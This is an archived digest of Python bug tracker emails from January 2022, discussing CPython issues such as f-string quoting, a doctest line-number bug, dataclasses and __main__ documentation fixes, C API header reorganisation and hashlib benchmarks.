Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 02:54:07 2022 From: report at bugs.python.org (Samisafool) Date: Sat, 08 Jan 2022 07:54:07 +0000 Subject: [issue46305] SyntaxError when using dict key in fstring Message-ID: <1641628447.27.0.922498430073.issue46305@roundup.psfhosted.org> New submission from Samisafool : SyntaxError when using dict key in fstring Attached is a python file where this bug is visible. The error is different on CPython 3.8 and 3.9/3.10, interestingly. Occurs on CPython 3.8-10 and PyPy 3.8 7.3.7 Not sure which component to select, never filed a python bug report before. Hopefully this is correct. ---------- components: Interpreter Core files: test.py messages: 410079 nosy: Samisafool priority: normal severity: normal status: open title: SyntaxError when using dict key in fstring type: crash versions: Python 3.10, Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50550/test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 03:14:52 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 08 Jan 2022 08:14:52 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` In-Reply-To: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> Message-ID: <1641629692.14.0.558363638273.issue46299@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset 45d44b950f1dab0ef90d0a8f4fa75ffaae71500b by Dong-hee Na in branch 'main': bpo-46299: Improve test_descr (GH-30475) https://github.com/python/cpython/commit/45d44b950f1dab0ef90d0a8f4fa75ffaae71500b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 03:15:11 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 08 Jan 2022 08:15:11 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` In-Reply-To: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> Message-ID: <1641629711.63.0.0119768475038.issue46299@roundup.psfhosted.org> Change by Dong-hee Na : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 03:39:36 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 08 Jan 2022 08:39:36 +0000 Subject: [issue46305] SyntaxError when using dict key in fstring In-Reply-To: <1641628447.27.0.922498430073.issue46305@roundup.psfhosted.org> Message-ID: <1641631176.16.0.684520306414.issue46305@roundup.psfhosted.org> Nikita Sobolev added the comment: Can you please try this: ``` dict1 = { "key1": "test" } print(dict1["key1"]) print(f"key1 is {dict1['key1']}!") ``` The problem with your code is that `dict1["key1"]` used the same quotes as `f""`. ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 03:42:22 2022 From: report at bugs.python.org (Samisafool) Date: Sat, 08 Jan 2022 08:42:22 +0000 Subject: [issue46305] SyntaxError when using dict key in fstring In-Reply-To: <1641628447.27.0.922498430073.issue46305@roundup.psfhosted.org> Message-ID: <1641631342.09.0.710558449954.issue46305@roundup.psfhosted.org> Samisafool added the comment: Is that intended behaviour? It works though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 03:46:09 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 08 Jan 2022 08:46:09 +0000 Subject: [issue46223] asyncio cause infinite loop during debug In-Reply-To: <1641094564.17.0.420361476444.issue46223@roundup.psfhosted.org> Message-ID: <1641631569.33.0.816625431973.issue46223@roundup.psfhosted.org> Nikita Sobolev added the comment: Just to clarify. What do you mean by "When running code in debug mode"? Do you use some debugger like `pdb` or pycharm? ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 03:55:38 2022 From: report at bugs.python.org (Samisafool) Date: Sat, 08 Jan 2022 08:55:38 +0000 Subject: [issue46305] SyntaxError when using dict key in fstring In-Reply-To: <1641628447.27.0.922498430073.issue46305@roundup.psfhosted.org> Message-ID: <1641632138.5.0.203735362762.issue46305@roundup.psfhosted.org> Samisafool added the comment: Huh, it does seem to be intentional. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 04:12:53 2022 From: report at bugs.python.org (Jackson Brummell) Date: Sat, 08 Jan 2022 09:12:53 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1641633173.71.0.92048535487.issue46279@roundup.psfhosted.org> Jackson Brummell added the comment: It seems this is a simple miswording, where the word 'above' is used when the see below example clarifies BELOW the text. I will create a pull request within the hour ---------- nosy: +jacksonbrummell1 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 04:36:56 2022 From: report at bugs.python.org (Jackson Brummell) Date: Sat, 08 Jan 2022 09:36:56 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1641634616.18.0.985026166254.issue46279@roundup.psfhosted.org> Change by Jackson Brummell : ---------- keywords: +patch pull_requests: +28683 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30480 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 04:54:00 2022 From: report at bugs.python.org (Jackson Brummell) Date: Sat, 08 Jan 2022 09:54:00 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1641635640.55.0.471336934264.issue46279@roundup.psfhosted.org> Jackson Brummell added the comment: Updating issue, Have submitted fix ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:10:24 2022 From: report at bugs.python.org (FeRD (Frank Dana)) Date: Sat, 08 Jan 2022 10:10:24 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1641636624.81.0.146860887358.issue46279@roundup.psfhosted.org> FeRD (Frank Dana) added the comment: TBH, personally I don't think I'd just reword it with "below". That seems like the path of least resistance, but then the sentence becomes this: """ This won?t work for __main__.py files in the root directory of a .zip file though. Hence, for consistency, minimal __main__.py like the venv one mentioned below are preferred. """ Doesn't really track. How can you draw conclusions ("Hence...") from something that hasn't even been discussed yet? It might actually be better to just drop the mention of venv from that particular sentence. The see-also text introduces *itself* as an example of what was just discussed. There's no real reason to bring it up ahead of time, because the see-also already flows naturally from the previous discussion without any setup. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:13:31 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 10:13:31 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641636811.72.0.910760587115.issue46290@roundup.psfhosted.org> Tal Einat added the comment: Indeed, the argument name in the code is "obj", and in 3 of those 4 functions it is a normal (positional or keyword) argument, so the name is important. ---------- assignee: eric.smith -> taleinat nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:13:41 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 08 Jan 2022 10:13:41 +0000 Subject: [issue46304] Unable to iterate over lines in a file without a block of code In-Reply-To: <1641614984.33.0.0710604496782.issue46304@roundup.psfhosted.org> Message-ID: <1641636821.36.0.72053186207.issue46304@roundup.psfhosted.org> Serhiy Storchaka added the comment: A warning is an indication of possible bugs in your code. If you do not close file explicitly, and it is closed by the garbage collector, the time of closing is undeterminated. This can lead to exhausting of file descriptors if you have a lot of opened files waiting for closing in reference loops. If you want to get rid of warnings, use a corresponding warning filter for ignoring specific warnings. Or better rewrite your code in a way that file closing is deterministic. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:15:37 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 08 Jan 2022 10:15:37 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641636937.77.0.748726813946.issue46303@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:16:45 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 08 Jan 2022 10:16:45 +0000 Subject: [issue46242] Improve error message when attempting to extend an enum with `__call__` In-Reply-To: <1641216211.34.0.269752308501.issue46242@roundup.psfhosted.org> Message-ID: <1641637005.71.0.999559114092.issue46242@roundup.psfhosted.org> Change by Alex Waygood : ---------- assignee: -> ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:21:22 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 10:21:22 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1641637282.42.0.418283441471.issue46279@roundup.psfhosted.org> Tal Einat added the comment: I agree that it seems better to avoid menntioning venv in that sentence. Specifically I suggest: This won?t work for __main__.py files in the root directory of a .zip file though. Hence, for consistency, minimal __main__.py without a __name__ check are preferred. ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:39:04 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 08 Jan 2022 10:39:04 +0000 Subject: [issue46306] Suspicios operation in `doctest.py`: `None - 1` Message-ID: <1641638344.77.0.816845423289.issue46306@roundup.psfhosted.org> New submission from Nikita Sobolev : This line `lineno = getattr(obj, 'co_firstlineno', None)-1` does not look good. Link: https://github.com/python/cpython/blame/45d44b950f1dab0ef90d0a8f4fa75ffaae71500b/Lib/doctest.py#L1116 Why? 1. `CodeType` is guaranteed to have `co_firstlineno`. Docs: https://github.com/python/cpython/blob/45d44b950f1dab0ef90d0a8f4fa75ffaae71500b/Lib/inspect.py#L487 2. Even if it does not have it for some reason, this `getattr` does not help. It raises unhandled `TypeError`. We can simulate it by replacing `lineno = getattr(obj, 'co_firstlineno', None)-1` with `lineno = None-1` Here's what happens in this case: ``` ? ./python.exe -m test -v test_doctest == CPython 3.11.0a3+ (heads/issue-26767:45d44b950f, Jan 8 2022, 12:23:45) [Clang 11.0.0 (clang-1100.0.33.16)] == Darwin-18.7.0-x86_64-i386-64bit little-endian == cwd: /Users/sobolev/Desktop/cpython/build/test_python_78065? == CPU count: 4 == encodings: locale=UTF-8, FS=utf-8 0:00:00 load avg: 3.51 Run tests sequentially 0:00:00 load avg: 3.51 [1/1] test_doctest Failed to call load_tests: Traceback (most recent call last): File "/Users/sobolev/Desktop/cpython/Lib/unittest/loader.py", line 108, in loadTestsFromModule return load_tests(self, tests, pattern) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/test/test_doctest.py", line 3134, in load_tests tests.addTest(doctest.DocTestSuite(doctest)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 2391, in DocTestSuite tests = test_finder.find(module, globs=globs, extraglobs=extraglobs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 940, in find self._find(tests, obj, name, module, source_lines, globs, {}) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 1013, in _find self._find(tests, val, valname, module, source_lines, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 1001, in _find test = self._get_test(obj, name, module, globs, source_lines) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 1069, in _get_test lineno = self._find_lineno(obj, source_lines) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/doctest.py", line 1117, in _find_lineno None - 1 ~~~~~^~~ TypeError: unsupported operand type(s) for -: 'NoneType' and 'int' test test_doctest crashed -- Traceback (most recent call last): File "/Users/sobolev/Desktop/cpython/Lib/test/libregrtest/runtest.py", line 352, in _runtest_inner refleak = _runtest_inner2(ns, test_name) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/test/libregrtest/runtest.py", line 309, in _runtest_inner2 test_runner() ^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/test/libregrtest/runtest.py", line 272, in _test_module raise Exception("errors while loading tests") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Exception: errors while loading tests test_doctest failed (uncaught exception) == Tests result: FAILURE == 1 test failed: test_doctest Total duration: 1.0 sec Tests result: FAILURE ``` So, we have two options: 1. Think of a case when `CodeType` does not have `co_firstlineno` and handle it properly, like using `0` or `None` as `lineno` 2. Simplify this line to remove potential `TypeError` I think that this line should be rewritten as `lineno = obj.co_firstlineno - 1` I will send a PR for others to judge. ---------- components: Library (Lib) messages: 410092 nosy: sobolevn priority: normal severity: normal status: open title: Suspicios operation in `doctest.py`: `None - 1` type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:49:21 2022 From: report at bugs.python.org (FeRD (Frank Dana)) Date: Sat, 08 Jan 2022 10:49:21 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1641638961.01.0.453931025008.issue46279@roundup.psfhosted.org> FeRD (Frank Dana) added the comment: Maybe, """ This won?t work for __main__.py files in the root directory of a .zip file though. Thus, for consistency, it is usually preferred to place code in other modules. That code can then be invoked from a minimal ``__main__.py``. """ (And then the see-also opens, "See venv for an example of a package with a minimal __main__.py in the standard library." which is a natural extension of the discussion.) @taleinat's suggestion works as well (crossed streams). ---------- nosy: -taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:55:37 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 08 Jan 2022 10:55:37 +0000 Subject: [issue46306] Suspicios operation in `doctest.py`: `None - 1` In-Reply-To: <1641638344.77.0.816845423289.issue46306@roundup.psfhosted.org> Message-ID: <1641639337.16.0.903719670805.issue46306@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28685 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30481 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:56:41 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 10:56:41 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641639401.38.0.526941369727.issue46290@roundup.psfhosted.org> Tal Einat added the comment: New changeset ef5376e69e72fa922d7f1b3df47b99d3576f9df1 by Zsolt Dollenstein in branch 'main': bpo-46290: Fix parameter names in dataclasses docs (GH-30450) https://github.com/python/cpython/commit/ef5376e69e72fa922d7f1b3df47b99d3576f9df1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:56:44 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 10:56:44 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641639404.56.0.25533172621.issue46290@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +28686 pull_request: https://github.com/python/cpython/pull/30482 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 05:56:49 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 10:56:49 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641639409.02.0.257371905999.issue46290@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28687 pull_request: https://github.com/python/cpython/pull/30483 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 06:36:47 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 08 Jan 2022 11:36:47 +0000 Subject: [issue46306] Suspicious operation in `doctest.py`: `None - 1` In-Reply-To: <1641638344.77.0.816845423289.issue46306@roundup.psfhosted.org> Message-ID: <1641641807.07.0.299716351532.issue46306@roundup.psfhosted.org> Change by Alex Waygood : ---------- title: Suspicios operation in `doctest.py`: `None - 1` -> Suspicious operation in `doctest.py`: `None - 1` _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 07:02:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 08 Jan 2022 12:02:31 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641643351.44.0.390536697876.issue46303@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28688 pull_request: https://github.com/python/cpython/pull/30484 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 07:06:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 08 Jan 2022 12:06:31 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641643591.09.0.670275442904.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: It's not the first time that private functions included by the public Python.h are causing build errors event if these functions are not used. The previous issue were functions for atomic operations. I solved this build error by moving the whole private C API into the internal C API: Include/internal/pycore_atomic.h. Since that time, we no longer got build error related to this header file. I propose a similar fix: move all private fileutils.h functions from Include/cpython/fileutils.h to the internal Include/internal/pycore_fileutils.h. I wrote PR 30484 to implement this change. To keep the implementation simple, I kept _Py_fopen_obj() in Include/cpython/fileutils.h, for _testcapi which must not use the internal C API. If this PR is merged, for Python 3.9 and 3.10, I will write a simpler change: modify Include/cpython/fileutils.h to only define functions using "struct stat" in the internal C API (if Py_BUILD_CORE is defined). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 07:07:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 08 Jan 2022 12:07:24 +0000 Subject: [issue46006] [subinterpreter] _PyUnicode_EqualToASCIIId() issue with subinterpreters In-Reply-To: <1638897146.48.0.478621354755.issue46006@roundup.psfhosted.org> Message-ID: <1641643644.65.0.977134297531.issue46006@roundup.psfhosted.org> Change by STINNER Victor : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 07:14:26 2022 From: report at bugs.python.org (Pierre Fortin) Date: Sat, 08 Jan 2022 12:14:26 +0000 Subject: [issue46302] IndexError inside list comprehension + workaround In-Reply-To: <1641597759.71.0.591724063363.issue46302@roundup.psfhosted.org> Message-ID: <1641644066.34.0.660490781248.issue46302@roundup.psfhosted.org> Pierre Fortin added the comment: [Thanks for the replies! I was trying to post this before seeing them.] Major egg on face... The more complex the code becomes, the more likely you will be burned by a rookie mistake... var = '' var[0] WILL give IndexError -- Duh! It was buried in the each.split('=') returning an empty string -- that's what you get for making things easier for the user. The easier code is to use, the more complex it must be... Sorry for the noise. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 07:24:41 2022 From: report at bugs.python.org (Christian Heimes) Date: Sat, 08 Jan 2022 12:24:41 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1641644681.81.0.838067457266.issue40479@roundup.psfhosted.org> Christian Heimes added the comment: Simple benchmark with openssl-3.0.0-5.el9.x86_64 With custom EVP_MD cache: $ ./python -m timeit -s "from hashlib import md5" "md5(b'12345678', usedforsecurity=False).digest()"500000 loops, best of 5: 520 nsec per loop $ ./python -m timeit -s "from hashlib import sha512" "sha512(b'12345678', usedforsecurity=False).digest()" 500000 loops, best of 5: 730 nsec per loop Without EVP_MD cache: $ ./python -m timeit -s "from hashlib import md5" "md5(b'', usedforsecurity=False).digest()" 500000 loops, best of 5: 807 nsec per loop $ ./python -m timeit -s "from hashlib import sha512" "sha512(b'12345678', usedforsecurity=False).digest()" 200000 loops, best of 5: 1.03 usec per loop ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 07:41:38 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 08 Jan 2022 12:41:38 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1641645698.7.0.0114109638015.issue45925@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch nosy: +kumaraditya303 nosy_count: 7.0 -> 8.0 pull_requests: +28689 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30485 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 07:58:28 2022 From: report at bugs.python.org (Stanislav Zmiev) Date: Sat, 08 Jan 2022 12:58:28 +0000 Subject: [issue46227] add pathlib.Path.walk method In-Reply-To: <1641148452.74.0.627954460368.issue46227@roundup.psfhosted.org> Message-ID: <1641646708.26.0.794554582759.issue46227@roundup.psfhosted.org> Stanislav Zmiev added the comment: Thanks for the tip! Hopefully, I created it correctly: https://discuss.python.org/t/add-pathlib-path-walk-method/ It is currently on review. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 10:09:45 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 15:09:45 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641654585.36.0.881979587138.issue46290@roundup.psfhosted.org> miss-islington added the comment: New changeset 8bef658668bac923166ae160c79720aed5f3b712 by Miss Islington (bot) in branch '3.10': bpo-46290: Fix parameter names in dataclasses docs (GH-30450) https://github.com/python/cpython/commit/8bef658668bac923166ae160c79720aed5f3b712 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 10:10:01 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 15:10:01 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641654601.29.0.89376006538.issue46290@roundup.psfhosted.org> miss-islington added the comment: New changeset cd95033d9c27d6c541dfd774b4c5eab4a70a23ab by Miss Islington (bot) in branch '3.9': bpo-46290: Fix parameter names in dataclasses docs (GH-30450) https://github.com/python/cpython/commit/cd95033d9c27d6c541dfd774b4c5eab4a70a23ab ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 10:14:33 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 15:14:33 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641654873.19.0.441435184337.issue46290@roundup.psfhosted.org> Tal Einat added the comment: Thanks for the report and the PR, Zsolt! ---------- nosy: -miss-islington resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 13:13:52 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 08 Jan 2022 18:13:52 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641665632.56.0.555534950809.issue46290@roundup.psfhosted.org> Eric V. Smith added the comment: Thanks for committing this, @taleinat. But next time, if it's assigned to me, I'd like to review it first. Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 13:23:29 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 18:23:29 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641666209.19.0.630975481555.issue46290@roundup.psfhosted.org> Tal Einat added the comment: Good to know Eric, will do! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 13:39:37 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 18:39:37 +0000 Subject: [issue46086] Add ratio_min() function to the difflib library In-Reply-To: <1639589834.45.0.869314940446.issue46086@roundup.psfhosted.org> Message-ID: <1641667177.7.0.131501691032.issue46086@roundup.psfhosted.org> Tal Einat added the comment: Thanks for the suggestion and the PR, Giacomo! However, in my opinion, this is better suited to be something like a cookbook recipe. The number of use cases for this will be low, and there would be little advantage to having this in the stdlib rather than elsewhere. ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 14:09:43 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 08 Jan 2022 19:09:43 +0000 Subject: [issue46305] SyntaxError when using dict key in fstring In-Reply-To: <1641628447.27.0.922498430073.issue46305@roundup.psfhosted.org> Message-ID: <1641668983.82.0.0756729949816.issue46305@roundup.psfhosted.org> Eric V. Smith added the comment: Yes, the behavior is intentional. It might be relaxed in the future. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 14:17:18 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 19:17:18 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641669438.9.0.18347243416.issue46261@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28690 pull_request: https://github.com/python/cpython/pull/30487 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 14:17:22 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 08 Jan 2022 19:17:22 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641669442.91.0.319482163107.issue46261@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28691 pull_request: https://github.com/python/cpython/pull/30488 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 14:17:34 2022 From: report at bugs.python.org (Tal Einat) Date: Sat, 08 Jan 2022 19:17:34 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641669454.73.0.611632035017.issue46261@roundup.psfhosted.org> Tal Einat added the comment: New changeset b6aa38f1ca79600f2ab46ac114ff36461a19c4a3 by Erlend Egeberg Aasland in branch 'main': bpo-46261: Update `sqlite3.Cursor.lastrowid` docs (GH-30407) https://github.com/python/cpython/commit/b6aa38f1ca79600f2ab46ac114ff36461a19c4a3 ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 14:42:00 2022 From: report at bugs.python.org (Hugo Almeida) Date: Sat, 08 Jan 2022 19:42:00 +0000 Subject: [issue46285] http/server.py wont respect its protocol_version In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1641670920.43.0.470715287239.issue46285@roundup.psfhosted.org> Hugo Almeida added the comment: The short story is, everything is okay, its my bad to taken the test function out of context, sorry about that of issue report. # just for details review (related file attached): # # check line 1277 to line 1278 (main branch of Python currently): # https://github.com/python/cpython/blob/17b16e1/Lib/http/server.py#L1277-L1278 # # thus, `functools.partial` (closure/wrapper) will # make the parameter `protocol` of the function `test` useless. # So, specify a handler class directly. ---------- resolution: remind -> not a bug stage: -> resolved status: open -> closed Added file: https://bugs.python.org/file50551/my_http.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 14:43:49 2022 From: report at bugs.python.org (Ethan Furman) Date: Sat, 08 Jan 2022 19:43:49 +0000 Subject: [issue46301] Enum tests: One branch is not covered in `Enum._convert_` In-Reply-To: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641671029.51.0.757891363224.issue46301@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 8d59d2563b914b7208779834895c080c70cd94dd by Nikita Sobolev in branch 'main': bpo-46301: [Enum] test uncomparable values in `_convert_` (GH-30472) https://github.com/python/cpython/commit/8d59d2563b914b7208779834895c080c70cd94dd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 8 14:44:51 2022 From: report at bugs.python.org (Ethan Furman) Date: Sat, 08 Jan 2022 19:44:51 +0000 Subject: [issue46301] Enum tests: One branch is not covered in `Enum._convert_` In-Reply-To: 